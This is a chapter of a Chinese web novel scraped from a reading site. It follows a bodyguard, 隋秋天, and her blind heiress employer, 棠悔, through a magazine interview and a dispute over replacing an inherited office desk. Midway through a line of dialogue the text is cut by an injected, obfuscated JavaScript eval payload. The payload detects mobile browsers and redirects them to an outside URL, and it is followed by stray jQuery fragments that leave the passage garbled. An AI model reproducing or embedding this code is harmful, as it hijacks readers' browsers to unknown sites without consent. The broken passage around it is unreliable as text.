默认冷灰
24号文字
方正启体

15.「继承人」

作者:文笃本书字数:K更新时间:
    隋秋天填上薪酬。


    将整理好的文件再次发给那三位保镖公司的负责人。


    然后极其耐心地等待着对方的回复。


    在得到回复之前,她先陪棠悔进行了一次商业杂志的访问。


    访问就在董事长办公室内。


    中午时间。


    一名记者和一名摄像,准时来到了董事长办公室外。


    在确认访问时间,以及核对过两名预约人员的身份后,隋秋天带人进入了棠悔的办公室。


    进去之后,隋秋天目不斜视。


    而那名记者一边走。


    一边盯着她看了好久,突然面露兴奋,拍了一下她的肩,


    “原来是你啊保镖小姐。”


    隋秋天瞥她一眼。


    这才记起是上一次在庆典活动中见过的记者,便微微颔首。


    “我叫林寒。”记者相当热情,伸出手来想要和她握手。


    隋秋天想了想。


    觉得也有必要维持礼貌,也就抬起了手。


    结果下一秒。


    就听见棠悔在身后轻轻喊她,“隋秋天?”


    隋秋天便收回了手。


    相当礼貌地冲林寒点头,当作对方想要握手的回应。


    走到棠悔身后。


    在一步远的位置停下,温着声线回答,“我在的棠小姐。”


    林寒站在原地,有些茫然地挠了挠下巴。


    又去看那个端坐在办公室沙发中央的女人,对方略微发散的目光正径直落向这边。


    似乎是在她悬空的手上停了半瞬。


    才慢半拍地移到林寒刚刚发声的位置,语速缓慢,声线得体,


    “林记者,怎么还不进来?”


    也不知道这眼疾到底是好还是坏。


    摄像听到这话先走了过去。


    林寒也回过神来,笑着应了一声,“来了棠总。”


    虽然从幼时起就获得大众关注,但实际上,棠悔不喜总是抛头露面,这次预留的访问时间也并不长。


    隋秋天负责监督两名外来人员是否在办公室内有不太恰当的举动,以及在有必要的时候,回拒棠悔不想回答的问题。


    当然。


    在此之前,访问提纲基本上都由苏南对接过。而访问中途,这位名叫林寒的记者也相当识趣,没有过度自由发挥。


    只是在采访快要结束之前。


    林寒才转了转眼珠子,稍微大着胆子,补了一句,


    “棠总,其实还有一个问题,是网站上有很多网友经常问的——”


    隋秋天微微皱眉。


    但她没有莽撞地马上出声拒绝,耐心等了三秒。


    如她所料。


    棠悔对此类访问游刃有余,并没有立刻显露出不悦,抿了一口茶,继续维持着嘴角淡淡的微笑,“是什么问题?”


    “是这样的。”林寒松了口气,语气轻快,“我们都知道棠总出生在山顶,那么在继承集团之前,或者是说——


    “除了继承集团之外,您有没有什么真正想做的事情呢?”


    这倒也不算什么越界的问题。隋秋天没有出声反驳。


    不过出乎意料的是。


    棠悔并没有马上回答。


    而是双手稳稳当当地端起茶杯,微微抿了一口。


    静了半晌。


    缓缓将自己有些失焦的目光落在正前方。


    隋秋天跟着望过去。


    隔着花瓶里丰茂拥挤的凌霄花,玻璃窗外能隐隐看见的,是白山山顶。


    “没有。”片刻后,她听见棠悔天性偏柔的声线出现。


    似是玩笑的语气,“我不想逃出去做什么珠宝设计师之类的。”


    林寒和摄像都笑了。


    她们之前也不是没听说过,有船王之子为夺美人欢心去当赛车手之类的传闻。


    况且由于这些豪门继承人数量众多,以至于在大多数豪门第二代、三代继承人中,吃喝玩乐的花边新闻,总是大过正经事。


    但棠悔不一样。


    她从出生起就暴露在大众视野,后来去国外读书的好些年也都行事低调,没闹出过绯闻。也因为实在过于低调,在当年一众八卦小报对各大豪门的接班人猜测之中,都没有人提及过她的名字。


    一直到上位前。


    她所闹出最大的事,也都是因为当年棠厉死后所公开的那一纸遗书,才彻底引发大众对豪门遗产之争的好奇心。


    不过按理来说,豪门遗产分配属于家族秘辛,不应公开进行。


    而当时棠厉死后没多久,与那纸遗书的相关报道便铺天盖地涌到公众眼前。


    像一场故意让棠悔陷入舆论漩涡之中的阴谋——


    关于始作俑者的猜测不一。


    有人说是热门继承人选之一的棠林,有人说是擅长利用媒体制造舆论的棠炳,还有人说是,棠悔的母亲棠蓉在生前所计划。


    “看来棠总从小就是位合格的继承人。”林寒说着客套话。


    棠悔收回视线。


    不轻不重地笑了一下,“不都这样说吗?”


    “什么?”林寒下意识问。


    隋秋天目光下落。


    而棠悔垂着黑睫,表情柔和,像是在说别人的事情,又像是在开着恰到好处的玩笑,“说我是戴着王冠出生的。”


    话落之后。


    她嘴角的微笑停了片刻,声线轻和,


    “那我当然也要对得起这顶王冠。”


    -


    访问结束。


    隋秋天将林寒和摄像送离,再回到秘书台,路过的时候,便看到苏南桌上铺满了图纸。


    她不经意地瞥了一眼,发现这些图纸上全都是办公桌。


    她有些疑惑。


    等苏南回来,便多问了一句,“我们要换办公桌吗?”


    “不是我们。”


    苏南落座,低头,很仔细地翻阅着桌上的图纸,“是棠总。”


    “棠小姐?”


    隋秋天有些意外,“她为什么突然要换办公桌?”


    况且这些图纸,看上去都比现在董事长办公室的桌子窄很多。


    “不知道。”苏南耸了耸鼻尖,“可能是之前的她不喜欢吧。”


    隋秋天抿了抿唇。


    刚想开口。


    苏南却又叹了口气,率先把她想说的话说出,


    “只是呢,原来那张办公桌是老棠董当年在集团十周年的时候定制的,后来三十周年的时候吧,集团搬进新大楼,也都没有被丢掉,请人恭恭敬敬地搬了进来。”


    “这么多年了,这张桌子比公司有些老人待的时间还长,在大大小小的报纸周刊,和新闻采访中都出现过,哦,对了,当时还有一段时间,很多帖子都在流行押宝,猜测谁会是这张桌子的继承人……”


    说到这里,她图纸翻不下去,甚至叹了第二次气,


    “现在棠总上任不久就要换,估计又要闹


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15553578|170713||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    出新闻来了。”


    这些也正是隋秋天刚刚所想的。


    或许,对普通人来说,换张办公桌是件极为不起眼的小事。


    但。


    对住在山顶的人,特别是从小就暴露在公众视野间的棠悔来说——


    她的一言一行,都有可能会引来过多不必要的猜测。


    不过,隋秋天并没有和苏南说更多。


    因为她看了眼手表,发现三十分钟就快要到了。


    所以她闭紧了嘴巴。


    可她和苏南的工位临近。


    那些图纸可以算得上是都摆在她眼前,之后一整天,她也忍不住有些忧心忡忡。


    是在回家的车上。


    她再一次被棠悔要求坐到后排,看着车窗外流过的秋景,总是时不时想起这件事,便也时不时去看棠悔。


    可能是她太明显。


    纵然是盲人,棠悔也对她有些过分的目光有所感知。


    在她第六次望过去时,棠悔终于开了口,“你有什么话要对我说吗?”


    语气很耐心,并没有对她的反反复复有任何的不耐烦。


    隋秋天却有些不好意思。


    快速收回目光,收了收下巴,良久,才犹豫问出,


    “棠小姐,你要换办公桌吗?”


    棠悔似乎对她的问题并不意外,靠在座椅上,轻“嗯”了一声。


    隋秋天双唇分开。


    想说些什么。


    可按道理她不应该对雇主的事情多嘴,便欲言又止。


    大概是对人的状态有着敏锐感知,棠悔静了一会,出了声,


    “这件事苏南已经劝过我了。”


    隋秋天沉默地张了张唇,没说什么。


    “隋秋天。”而棠悔却在这时出声喊她。


    “我在的棠小姐。”隋秋天侧脸。


    车厢被吞入灰蓝夜色,棠悔缓缓睁眼,长而细的黑睫毛映在车窗上,映得那双隔着一层雾的眼多了几分模糊空洞,


    “你也要让我别这样做吗?”


    隋秋天愣住。


    黑沉沉的车厢在环山公路变得忽明忽暗,眼前女人脸庞也变得忽明忽暗。


    她坐在安全隐秘的车厢里,前排是她的司机,后排是她的保镖。


    可她的司机可能随时都会像上一名被辞退的司机一样,收取昂贵报酬向她的亲表哥售卖她的情报,她的保镖也正在想法设法离开她……


    以至于她看上去仍然茕茕孤立,甚至可能,会永远这样下去。


    开往山顶的路十分漫长,隋秋天或许是陷入为难境地,久久没有出声回答。


    棠悔安静盯着窗外。


    她不知道,如果有一天没有隋秋天,这段路是不是会更加漫长。


    良久。


    她有些难耐地闭上眼睛,却听见隋秋天终于温声开口,


    “不会的,棠小姐。”


    棠悔眼睫颤了颤。


    保镖小姐因为没有过多情绪,反而显得口吻真挚,


    “我会永远支持你做你想做的事情。”


    她似乎和很多人都一样,都不希望棠悔遭人非议。


    但又和很多人都不一样。


    因为比起这张被人赋予所谓意义的桌子,她好像更希望——


    棠悔不会连给自己换一张办公桌的自由,都没有。


    “况且,这其实也就只是一张桌子而已。”


    她大概是唯一一个会这么说的。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)